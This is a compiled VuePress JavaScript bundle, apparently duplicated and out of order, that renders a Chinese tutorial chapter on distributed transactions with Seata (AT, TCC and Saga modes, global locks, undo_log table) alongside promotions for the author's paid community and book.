keyword"}},[t._v("longblob")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("log_status"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("int")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("11")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("log_created"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("datetime")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("log_modified"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("datetime")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("NOT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token boolean"}},[t._v("NULL")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("PRIMARY")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("KEY")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("UNIQUE")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("KEY")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("ux_undo_log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),t._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("xid"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),a("span",{pre:!0,attrs:{class:"token identifier"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")]),t._v("branch_id"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("`")])]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("ENGINE")]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("InnoDB")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("AUTO_INCREMENT")]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[t._v("1")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("DEFAULT")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("CHARSET")]),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v("utf8"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[t._v("1")]),a("br"),a("span",{staticClass:"line-number"},[t._v("2")]),a("br"),a("span",{staticClass:"line-number"},[t._v("3")]),a("br"),a("span",{staticClass:"line-number"},[t._v("4")]),a("br"),a("span",{staticClass:"line-number"},[t._v("5")]),a("br"),a("span",{staticClass:"line-number"},[t._v("6")]),a("br"),a("span",{staticClass:"line-number"},[t._v("7")]),a("br"),a("span",{staticClass:"line-number"},[t._v("8")]),a("br"),a("span",{staticClass:"line-number"},[t._v("9")]),a("br"),a("span",{staticClass:"line-number"},[t._v("10")]),a("br"),a("span",{staticClass:"line-number"},[t._v("11")]),a("br"),a("span",{staticClass:"line-number"},[t._v("12")]),a("br"),a("span",{staticClass:"line-number"},[t._v("13")]),a("br")])]),a("h3",{attrs:{id:"tcc-模式"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#tcc-模式"}},[t._v("#")]),t._v(" TCC 模式")]),t._v(" "),a("p",[t._v("回顾总览中的描述:一个分布式的全局事务,整体是 "),a("strong",[t._v("两阶段提交")]),t._v(" 的模型。全局事务是由若干分支事务组成的,分支事务要满足 "),a("strong",[t._v("两阶段提交")]),t._v(" 的模型要求,即需要每个分支事务都具备自己的:")]),t._v(" "),a("ul",[a("li",[t._v("一阶段 prepare 行为")]),t._v(" "),a("li",[t._v("二阶段 commit 或 rollback 行为")])]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-006.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("根据两阶段行为模式的不同,我们将分支事务划分为 "),a("strong",[t._v("Automatic (Branch) Transaction Mode")]),t._v(" 和 "),a("strong",[t._v("Manual (Branch) Transaction Mode")]),t._v(".")]),t._v(" "),a("p",[t._v("AT 模式("),a("a",{attrs:{href:"https://seata.io/zh-cn/docs/overview/what-is-seata.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("参考链接 TBD"),a("OutboundLink")],1),t._v(")基于 "),a("strong",[t._v("支持本地 ACID 事务")]),t._v(" 的 "),a("strong",[t._v("关系型数据库")]),t._v(":")]),t._v(" "),a("ul",[a("li",[t._v("一阶段 prepare 行为:在本地事务中,一并提交业务数据更新和相应回滚日志记录。")]),t._v(" "),a("li",[t._v("二阶段 commit 行为:马上成功结束,"),a("strong",[t._v("自动")]),t._v(" 异步批量清理回滚日志。")]),t._v(" "),a("li",[t._v("二阶段 rollback 行为:通过回滚日志,"),a("strong",[t._v("自动")]),t._v(" 生成补偿操作,完成数据回滚。")])]),t._v(" "),a("p",[t._v("相应的,TCC 模式,不依赖于底层数据资源的事务支持:")]),t._v(" "),a("ul",[a("li",[t._v("一阶段 prepare 行为:调用 "),a("strong",[t._v("自定义")]),t._v(" 的 prepare 逻辑。")]),t._v(" "),a("li",[t._v("二阶段 commit 行为:调用 "),a("strong",[t._v("自定义")]),t._v(" 的 commit 逻辑。")]),t._v(" "),a("li",[t._v("二阶段 rollback 行为:调用 "),a("strong",[t._v("自定义")]),t._v(" 的 rollback 逻辑。")])]),t._v(" "),a("p",[t._v("所谓 TCC 模式,是指支持把 "),a("strong",[t._v("自定义")]),t._v(" 的分支事务纳入到全局事务的管理中。")]),t._v(" "),a("h3",{attrs:{id:"saga-模式"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#saga-模式"}},[t._v("#")]),t._v(" Saga 模式")]),t._v(" "),a("p",[t._v("Saga模式是SEATA提供的长事务解决方案,在Saga模式中,业务流程中每个参与者都提交本地事务,当出现某一个参与者失败则补偿前面已经成功的参与者,一阶段正向服务和二阶段补偿服务都由业务开发实现。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-007.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("理论基础:Hector & Kenneth 发表论⽂ Sagas (1987)")]),t._v(" "),a("h4",{attrs:{id:"适用场景"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#适用场景"}},[t._v("#")]),t._v(" 适用场景")]),t._v(" "),a("ul",[a("li",[t._v("业务流程长、业务流程多")]),t._v(" "),a("li",[t._v("参与者包含其它公司或遗留系统服务,无法提供 TCC 模式要求的三个接口")])]),t._v(" "),a("h4",{attrs:{id:"优势"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#优势"}},[t._v("#")]),t._v(" 优势")]),t._v(" "),a("ul",[a("li",[t._v("一阶段提交本地事务,无锁,高性能")]),t._v(" "),a("li",[t._v("事件驱动架构,参与者可异步执行,高吞吐")]),t._v(" "),a("li",[t._v("补偿服务易于实现")])]),t._v(" "),a("h4",{attrs:{id:"缺点"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#缺点"}},[t._v("#")]),t._v(" 缺点")]),t._v(" "),a("ul",[a("li",[t._v("不保证隔离性")])]),t._v(" "),a("p",[a("strong",[t._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),t._v(" "),a("p",[a("strong",[t._v("另外,一不小心就写了24章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),t._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[t._v("#")]),t._v(" 关于星球")]),t._v(" "),a("p",[t._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),t._v(" "),a("p",[t._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),t._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[t._v("#")]),t._v(" 星球提供的服务")]),t._v(" "),a("p",[t._v("冰河整理了星球提供的一些服务,如下所示。")]),t._v(" "),a("p",[t._v("加入星球,你将获得:")]),t._v(" "),a("p",[t._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),t._v(" "),a("p",[t._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),t._v(" "),a("p",[t._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),t._v(" "),a("p",[t._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),t._v(" "),a("p",[t._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),t._v(" "),a("p",[t._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),t._v(" "),a("p",[t._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),t._v(" "),a("p",[t._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),t._v(" "),a("p",[t._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),t._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[t._v("#")]),t._v(" 星球门票价格")]),t._v(" "),a("p",[t._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),t._v(" "),a("p",[a("strong",[t._v("特别提醒:")]),t._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),t._v(" "),a("p",[t._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[t._v("冰河技术")]),t._v(" 公众号回复 “ "),a("strong",[t._v("星球")]),t._v(" ” ,领取入场优惠券。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),t._v(" "),a("p",[a("strong",[t._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),t._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[t._v("#")]),t._v(" 写在最后")]),t._v(" "),a("blockquote",[a("p",[t._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=r.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[336],{626:function(t,a,s){"use strict";s.r(a);var n=s(7),r=Object(n.a)({},(function(){var t=this,a=t._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":t.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第24章-分布式事务-分布式事务核心原理与seata介绍"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第24章-分布式事务-分布式事务核心原理与seata介绍"}},[t._v("#")]),t._v(" SA实战 ·《SpringCloud Alibaba实战》第24章-分布式事务:分布式事务核心原理与Seata介绍")]),t._v(" "),a("p",[a("strong",[t._v("大家好,我是冰河~~")])]),t._v(" "),a("blockquote",[a("p",[t._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏都更新到第24章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),t._v(" "),a("p",[t._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("冰河技术"),a("OutboundLink")],1)]),t._v(" 知识星球即可获取,文末有入场方式。")]),t._v(" "),a("p",[t._v("Seata相关的内容来自Seata官网。")]),t._v(" "),a("p",[t._v("链接:"),a("a",{attrs:{href:"https://seata.io/zh-cn/docs/overview/what-is-seata.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://seata.io/zh-cn/docs/overview/what-is-seata.html"),a("OutboundLink")],1)])]),t._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[t._v("#")]),t._v(" 前文回顾")]),t._v(" "),a("p",[t._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),t._v(" "),a("p",[t._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),t._v(" "),a("p",[t._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),t._v(" "),a("p",[t._v("在服务配置章节,我们首先介绍了服务配置与Nacos作为配置中心的相关概念,并在项目中整合了Nacos配置中心。接下来,又基于Nacos实现了动态刷新与配置共享。")]),t._v(" "),a("p",[t._v("今天,就正式进入分布式事务篇章的学习,首先,我们简单介绍下分布式事务的核心原理与SpringCloud Alibaba技术栈中的Seata框架。")]),t._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[t._v("#")]),t._v(" 本章总览")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-008.png",loading:"lazy"}})]),t._v(" "),a("h2",{attrs:{id:"分布式事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式事务"}},[t._v("#")]),t._v(" 分布式事务")]),t._v(" "),a("p",[t._v("分布式事务是互联网行业一直无法绕过的技术难题,如何更加高效的学习分布式事务呢?")]),t._v(" "),a("h3",{attrs:{id:"系统学习分布式事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#系统学习分布式事务"}},[t._v("#")]),t._v(" 系统学习分布式事务")]),t._v(" "),a("p",[t._v("关于分布式事务的产生的场景、解决方案,分布式事务的核心原理可以订阅 【冰河技术】 微信公众号的 【"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=1662037669922570241#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("分布式事务"),a("OutboundLink")],1),t._v("】专题进行学习。")]),t._v(" "),a("h3",{attrs:{id:"深入理解分布式事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#深入理解分布式事务"}},[t._v("#")]),t._v(" 深入理解分布式事务")]),t._v(" "),a("p",[t._v("可以阅读冰河出版的《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497263&idx=1&sn=8228a795261b0a90a3f42322368616fc&chksm=cf56412ef821c8389584e9e608aa4d6515cf68e26758b9c578a8f60a796999fafc8686a6a425&token=2095908924&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[t._v("深入理解分布式事务:原理与实战"),a("OutboundLink")],1),t._v("》一书。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-001.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497263&idx=1&sn=8228a795261b0a90a3f42322368616fc&chksm=cf56412ef821c8389584e9e608aa4d6515cf68e26758b9c578a8f60a796999fafc8686a6a425&token=2095908924&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[t._v("深入理解分布式事务:原理与实战"),a("OutboundLink")],1),t._v("》从实际需求出发,涵盖基础知识,解决方案,原理分析,源码实现和工程实践等五个维度,全面且细致地介绍了有关分布式事务的基础知识、解决方案、核心原理和源码实战。")]),t._v(" "),a("p",[t._v("如果想系统的学习深入理解分布式事务,建议大家阅读《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497263&idx=1&sn=8228a795261b0a90a3f42322368616fc&chksm=cf56412ef821c8389584e9e608aa4d6515cf68e26758b9c578a8f60a796999fafc8686a6a425&token=2095908924&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[t._v("深入理解分布式事务:原理与实战"),a("OutboundLink")],1),t._v("》一书。")]),t._v(" "),a("h2",{attrs:{id:"seata介绍"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#seata介绍"}},[t._v("#")]),t._v(" Seata介绍")]),t._v(" "),a("blockquote",[a("p",[t._v("Seata相关的内容来自Seata官网。")]),t._v(" "),a("p",[t._v("链接:"),a("a",{attrs:{href:"https://seata.io/zh-cn/docs/overview/what-is-seata.html",target:"_blank",rel:"noopener noreferrer"}},[t._v("https://seata.io/zh-cn/docs/overview/what-is-seata.html"),a("OutboundLink")],1)])]),t._v(" "),a("h3",{attrs:{id:"seata-是什么"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#seata-是什么"}},[t._v("#")]),t._v(" Seata 是什么?")]),t._v(" "),a("p",[t._v("Seata 是一款开源的分布式事务解决方案,致力于提供高性能和简单易用的分布式事务服务。Seata 将为用户提供了 AT、TCC、SAGA 和 XA 事务模式,为用户打造一站式的分布式解决方案。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-002.png",loading:"lazy"}})]),t._v(" "),a("h3",{attrs:{id:"at-模式"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#at-模式"}},[t._v("#")]),t._v(" AT 模式")]),t._v(" "),a("h4",{attrs:{id:"前提"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前提"}},[t._v("#")]),t._v(" 前提")]),t._v(" "),a("ul",[a("li",[t._v("基于支持本地 ACID 事务的关系型数据库。")]),t._v(" "),a("li",[t._v("Java 应用,通过 JDBC 访问数据库。")])]),t._v(" "),a("h4",{attrs:{id:"整体机制"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#整体机制"}},[t._v("#")]),t._v(" 整体机制")]),t._v(" "),a("p",[t._v("两阶段提交协议的演变:")]),t._v(" "),a("ul",[a("li",[t._v("一阶段:业务数据和回滚日志记录在同一个本地事务中提交,释放本地锁和连接资源。")]),t._v(" "),a("li",[t._v("二阶段:\n"),a("ul",[a("li",[t._v("提交异步化,非常快速地完成。")]),t._v(" "),a("li",[t._v("回滚通过一阶段的回滚日志进行反向补偿。")])])])]),t._v(" "),a("h4",{attrs:{id:"写隔离"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写隔离"}},[t._v("#")]),t._v(" 写隔离")]),t._v(" "),a("ul",[a("li",[t._v("一阶段本地事务提交前,需要确保先拿到 "),a("strong",[t._v("全局锁")]),t._v(" 。")]),t._v(" "),a("li",[t._v("拿不到 "),a("strong",[t._v("全局锁")]),t._v(" ,不能提交本地事务。")]),t._v(" "),a("li",[t._v("拿 "),a("strong",[t._v("全局锁")]),t._v(" 的尝试被限制在一定范围内,超出范围将放弃,并回滚本地事务,释放本地锁。")])]),t._v(" "),a("p",[t._v("以一个示例来说明:")]),t._v(" "),a("p",[t._v("两个全局事务 tx1 和 tx2,分别对 a 表的 m 字段进行更新操作,m 的初始值 1000。")]),t._v(" "),a("p",[t._v("tx1 先开始,开启本地事务,拿到本地锁,更新操作 m = 1000 - 100 = 900。本地事务提交前,先拿到该记录的 "),a("strong",[t._v("全局锁")]),t._v(" ,本地提交释放本地锁。 tx2 后开始,开启本地事务,拿到本地锁,更新操作 m = 900 - 100 = 800。本地事务提交前,尝试拿该记录的 "),a("strong",[t._v("全局锁")]),t._v(" ,tx1 全局提交前,该记录的全局锁被 tx1 持有,tx2 需要重试等待 "),a("strong",[t._v("全局锁")]),t._v(" 。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-003.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("tx1 二阶段全局提交,释放 "),a("strong",[t._v("全局锁")]),t._v(" 。tx2 拿到 "),a("strong",[t._v("全局锁")]),t._v(" 提交本地事务。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-004.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("如果 tx1 的二阶段全局回滚,则 tx1 需要重新获取该数据的本地锁,进行反向补偿的更新操作,实现分支的回滚。")]),t._v(" "),a("p",[t._v("此时,如果 tx2 仍在等待该数据的 "),a("strong",[t._v("全局锁")]),t._v(",同时持有本地锁,则 tx1 的分支回滚会失败。分支的回滚会一直重试,直到 tx2 的 "),a("strong",[t._v("全局锁")]),t._v(" 等锁超时,放弃 "),a("strong",[t._v("全局锁")]),t._v(" 并回滚本地事务释放本地锁,tx1 的分支回滚最终成功。")]),t._v(" "),a("p",[t._v("因为整个过程 "),a("strong",[t._v("全局锁")]),t._v(" 在 tx1 结束前一直是被 tx1 持有的,所以不会发生 "),a("strong",[t._v("脏写")]),t._v(" 的问题。")]),t._v(" "),a("h4",{attrs:{id:"读隔离"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#读隔离"}},[t._v("#")]),t._v(" 读隔离")]),t._v(" "),a("p",[t._v("在数据库本地事务隔离级别 "),a("strong",[t._v("读已提交(Read Committed)")]),t._v(" 或以上的基础上,Seata(AT 模式)的默认全局隔离级别是 "),a("strong",[t._v("读未提交(Read Uncommitted)")]),t._v(" 。")]),t._v(" "),a("p",[t._v("如果应用在特定场景下,必需要求全局的 "),a("strong",[t._v("读已提交")]),t._v(" ,目前 Seata 的方式是通过 SELECT FOR UPDATE 语句的代理。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-25-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-25-005.png",loading:"lazy"}})]),t._v(" "),a("p",[t._v("SELECT FOR UPDATE 语句的执行会申请 "),a("strong",[t._v("全局锁")]),t._v(" ,如果 "),a("strong",[t._v("全局锁")]),t._v(" 被其他事务持有,则释放本地锁(回滚 SELECT FOR UPDATE 语句的本地执行)并重试。这个过程中,查询是被 block 住的,直到 "),a("strong",[t._v("全局锁")]),t._v(" 拿到,即读取的相关数据是 "),a("strong",[t._v("已提交")]),t._v(" 的,才返回。")]),t._v(" "),a("p",[t._v("出于总体性能上的考虑,Seata 目前的方案并没有对所有 SELECT 语句都进行代理,仅针对 FOR UPDATE 的 SELECT 语句。")]),t._v(" "),a("h4",{attrs:{id:"工作机制"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#工作机制"}},[t._v("#")]),t._v(" 工作机制")]),t._v(" "),a("p",[t._v("以一个示例来说明整个 AT 分支的工作过程。")]),t._v(" "),a("p",[t._v("业务表:"),a("code",[t._v("product")])]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("Field")]),t._v(" "),a("th",[t._v("Type")]),t._v(" "),a("th",[t._v("Key")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("id")]),t._v(" "),a("td",[t._v("bigint(20)")]),t._v(" "),a("td",[t._v("PRI")])]),t._v(" "),a("tr",[a("td",[t._v("name")]),t._v(" "),a("td",[t._v("varchar(100)")]),t._v(" "),a("td")]),t._v(" "),a("tr",[a("td",[t._v("since")]),t._v(" "),a("td",[t._v("varchar(100)")]),t._v(" "),a("td")])])]),t._v(" "),a("p",[t._v("AT 分支事务的业务逻辑:")]),t._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("update")]),t._v(" product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("set")]),t._v(" name "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v("'GTS'")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("where")]),t._v(" name "),a("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[t._v("'TXC'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" 